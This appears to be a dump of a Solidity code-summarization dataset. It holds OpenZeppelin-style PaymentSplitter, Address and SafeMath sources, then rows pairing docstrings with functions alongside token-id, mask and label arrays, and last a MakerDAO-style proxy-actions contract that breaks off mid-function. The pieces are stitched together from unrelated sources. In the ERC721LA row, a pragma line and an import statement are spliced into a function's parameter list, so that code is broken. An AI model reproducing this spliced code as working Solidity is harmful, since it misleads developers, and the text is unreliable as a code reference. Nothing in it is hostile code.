* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + _totalReleased;
uint256 payment = totalReceived * _shares[account] / _totalShares - _released[account];
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] = _released[account] + payment;
_totalReleased = _totalReleased + payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
| * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but performing a delegate call. _Available since v3.4._/ | function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
| 257 | [
1,
8650,
487,
288,
22044,
17,
1887,
17,
915,
1477,
17,
2867,
17,
3890,
17,
20294,
68,
915,
1477,
68,
6487,
1496,
14928,
279,
7152,
745,
18,
389,
5268,
3241,
331,
23,
18,
24,
6315,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
445,
9586,
1477,
12,
2867,
1018,
16,
1731,
3778,
501,
13,
2713,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
445,
9586,
1477,
12,
3299,
16,
501,
16,
315,
1887,
30,
4587,
17,
2815,
7152,
745,
2535,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xcBcDE269e41094e40684aCe995E6ec7f9bA873Ef/sources/localhost/contracts/TokenFactory.sol | * @dev See {IERC20-approve}. Requirements: - `spender` cannot be the zero address./ | function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| 830,761 | [
1,
9704,
288,
45,
654,
39,
3462,
17,
12908,
537,
5496,
29076,
30,
300,
1375,
87,
1302,
264,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
3844,
13,
1071,
3849,
225,
1135,
261,
6430,
13,
288,
203,
3639,
389,
12908,
537,
24899,
3576,
12021,
9334,
17571,
264,
16,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x6208410d391deb5A042632865833C56326C83CBa/sources/contracts/v4/tokens/ERC721LA.sol | * @notice LiveArt ERC721 implementation contract Supports multiple edtioned NFTs and gas optimized batch minting/ | contract ERC721LA is ERC721LACore, Burnable, AirDropable, Whitelistable {
function setRoyaltyRegistryAddress(
address _royaltyRegistry
pragma solidity ^0.8.4;
import "../extensions/LAInitializable.sol";
) public onlyAdmin {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
state._royaltyRegistry = IRoyaltiesRegistry(_royaltyRegistry);
}
function royaltyRegistryAddress() public view returns (IRoyaltiesRegistry) {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
return state._royaltyRegistry;
}
function royaltyInfo(
uint256 _tokenId,
uint256 _value
) external view returns (address _receiver, uint256 _royaltyAmount) {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
return
state._royaltyRegistry.royaltyInfo(address(this), _tokenId, _value);
}
function registerCollectionRoyaltyReceivers(
RoyaltiesState.RoyaltyReceiver[] memory royaltyReceivers
) public onlyAdmin {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
IRoyaltiesRegistry(state._royaltyRegistry)
.registerCollectionRoyaltyReceivers(
address(this),
msg.sender,
royaltyReceivers
);
}
function primaryRoyaltyInfo(
uint256 tokenId
) public view returns (address payable[] memory, uint256[] memory) {
ERC721State.ERC721LAState storage state = ERC721State
._getERC721LAState();
return
IRoyaltiesRegistry(state._royaltyRegistry).primaryRoyaltyInfo(
address(this),
tokenId
);
}
}
| 17,184,775 | [
1,
12328,
4411,
4232,
39,
27,
5340,
4471,
6835,
25110,
3229,
1675,
24252,
329,
423,
4464,
87,
471,
16189,
15411,
2581,
312,
474,
310,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
27,
5340,
2534,
353,
4232,
39,
27,
5340,
48,
2226,
479,
16,
605,
321,
429,
16,
432,
481,
7544,
429,
16,
3497,
7523,
429,
288,
203,
203,
565,
445,
444,
54,
13372,
15006,
4243,
1887,
12,
203,
3639,
1758,
389,
3800,
15006,
4243,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
24,
31,
203,
5666,
315,
6216,
9489,
19,
2534,
4435,
6934,
18,
18281,
14432,
203,
565,
262,
1071,
1338,
4446,
288,
203,
3639,
4232,
39,
27,
5340,
1119,
18,
654,
39,
27,
5340,
2534,
1119,
2502,
919,
273,
4232,
39,
27,
5340,
1119,
203,
5411,
263,
67,
588,
654,
39,
27,
5340,
2534,
1119,
5621,
203,
3639,
919,
6315,
3800,
15006,
4243,
273,
15908,
13372,
2390,
606,
4243,
24899,
3800,
15006,
4243,
1769,
203,
565,
289,
203,
203,
565,
445,
721,
93,
15006,
4243,
1887,
1435,
1071,
1476,
1135,
261,
7937,
13372,
2390,
606,
4243,
13,
288,
203,
3639,
4232,
39,
27,
5340,
1119,
18,
654,
39,
27,
5340,
2534,
1119,
2502,
919,
273,
4232,
39,
27,
5340,
1119,
203,
5411,
263,
67,
588,
654,
39,
27,
5340,
2534,
1119,
5621,
203,
3639,
327,
919,
6315,
3800,
15006,
4243,
31,
203,
565,
289,
203,
203,
565,
445,
721,
93,
15006,
966,
12,
203,
3639,
2254,
5034,
389,
2316,
548,
16,
203,
3639,
2254,
5034,
389,
1132,
203,
565,
262,
3903,
1476,
1135,
261,
2867,
389,
24454,
16,
2254,
5034,
389,
3800,
15006,
6275,
13,
288,
203,
3639,
4232,
39,
27,
5340,
1119,
18,
654,
39,
27,
5340,
2534,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../Constants.sol";
import "./IDssCdpManager.sol";
interface GemLike {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
}
interface GemJoinLike {
function dec() external returns (uint256);
function gem() external returns (address);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
interface VatLike {
function can(address, address) external view returns (uint256);
function ilks(bytes32)
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
function dai(address) external view returns (uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function frob(
bytes32,
address,
address,
address,
int256,
int256
) external;
function hope(address) external;
function move(
address,
address,
uint256
) external;
}
interface JugLike {
function drip(bytes32) external returns (uint256);
function ilks(bytes32) external view returns (uint256, uint256);
}
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external returns (GemLike);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
contract DssActionsBase {
uint256 constant RAY = 10**27;
using SafeMath for uint256;
function _convertTo18(address gemJoin, uint256 amt)
internal
returns (uint256 wad)
{
// For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function
// Adapters will automatically handle the difference of precision
wad = amt.mul(10**(18 - GemJoinLike(gemJoin).dec()));
}
function _toInt(uint256 x) internal pure returns (int256 y) {
y = int256(x);
require(y >= 0, "int-overflow");
}
function _toRad(uint256 wad) internal pure returns (uint256 rad) {
rad = wad.mul(10**27);
}
function _gemJoin_join(
address apt,
address urn,
uint256 wad,
bool transferFrom
) internal {
// Only executes for tokens that have approval/transferFrom implementation
if (transferFrom) {
// Tokens already in address(this)
// GemLike(GemJoinLike(apt).gem()).transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the token amount
GemLike(GemJoinLike(apt).gem()).approve(apt, wad);
}
// Joins token collateral into the vat
GemJoinLike(apt).join(urn, wad);
}
function _daiJoin_join(
address apt,
address urn,
uint256 wad
) internal {
// Contract already has tokens
// Gets DAI from the user's wallet
// DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the DAI amount
DaiJoinLike(apt).dai().approve(apt, wad);
// Joins DAI into the vat
DaiJoinLike(apt).join(urn, wad);
}
function _getDrawDart(
address vat,
address jug,
address urn,
bytes32 ilk,
uint256 wad
) internal returns (int256 dart) {
// Updates stability fee rate
uint256 rate = JugLike(jug).drip(ilk);
// Gets DAI balance of the urn in the vat
uint256 dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (dai < wad.mul(RAY)) {
// Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens
dart = _toInt(wad.mul(RAY).sub(dai) / rate);
// This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount)
dart = uint256(dart).mul(rate) < wad.mul(RAY) ? dart + 1 : dart;
}
}
function _getWipeDart(
address vat,
uint256 dai,
address urn,
bytes32 ilk
) internal view returns (int256 dart) {
// Gets actual rate from the vat
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Uses the whole dai balance in the vat to reduce the debt
dart = _toInt(dai / rate);
// Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value
dart = uint256(dart) <= art ? -dart : -_toInt(art);
}
function _getWipeAllWad(
address vat,
address usr,
address urn,
bytes32 ilk
) internal view returns (uint256 wad) {
// Gets actual rate from the vat
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Gets actual dai amount in the urn
uint256 dai = VatLike(vat).dai(usr);
uint256 rad = art.mul(rate).sub(dai);
wad = rad / RAY;
// If the rad precision has some dust, it will need to request for 1 extra wad wei
wad = wad.mul(RAY) < rad ? wad + 1 : wad;
}
function _getSuppliedAndBorrow(address gemJoin, uint256 cdp)
internal
returns (uint256, uint256)
{
IDssCdpManager manager = IDssCdpManager(Constants.CDP_MANAGER);
address vat = manager.vat();
bytes32 ilk = manager.ilks(cdp);
// Gets actual rate from the vat
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(uint256 supplied, uint256 art) = VatLike(vat).urns(
ilk,
manager.urns(cdp)
);
// Gets actual dai amount in the urn
uint256 dai = VatLike(vat).dai(manager.owns(cdp));
uint256 rad = art.mul(rate).sub(dai);
uint256 wad = rad / RAY;
// If the rad precision has some dust, it will need to request for 1 extra wad wei
uint256 borrowed = wad.mul(RAY) < rad ? wad + 1 : wad;
// Convert back to native units
supplied = supplied.div(10**(18 - GemJoinLike(gemJoin).dec()));
return (supplied, borrowed);
}
function _lockGemAndDraw(
address gemJoin,
uint256 cdp,
uint256 wadC,
uint256 wadD
) internal {
IDssCdpManager manager = IDssCdpManager(Constants.CDP_MANAGER);
address urn = manager.urns(cdp);
address vat = manager.vat();
bytes32 ilk = manager.ilks(cdp);
// Receives ETH amount, converts it to WETH and joins it into the vat
_gemJoin_join(gemJoin, urn, wadC, true);
// Locks GEM amount into the CDP and generates debt
manager.frob(
cdp,
_toInt(_convertTo18(gemJoin, wadC)),
_getDrawDart(vat, Constants.MCD_JUG, urn, ilk, wadD)
);
// Moves the DAI amount (balance in the vat in rad) to proxy's address
manager.move(cdp, address(this), _toRad(wadD));
// Allows adapter to access to proxy's DAI balance in the vat
if (
VatLike(vat).can(address(this), address(Constants.MCD_JOIN_DAI)) ==
0
) {
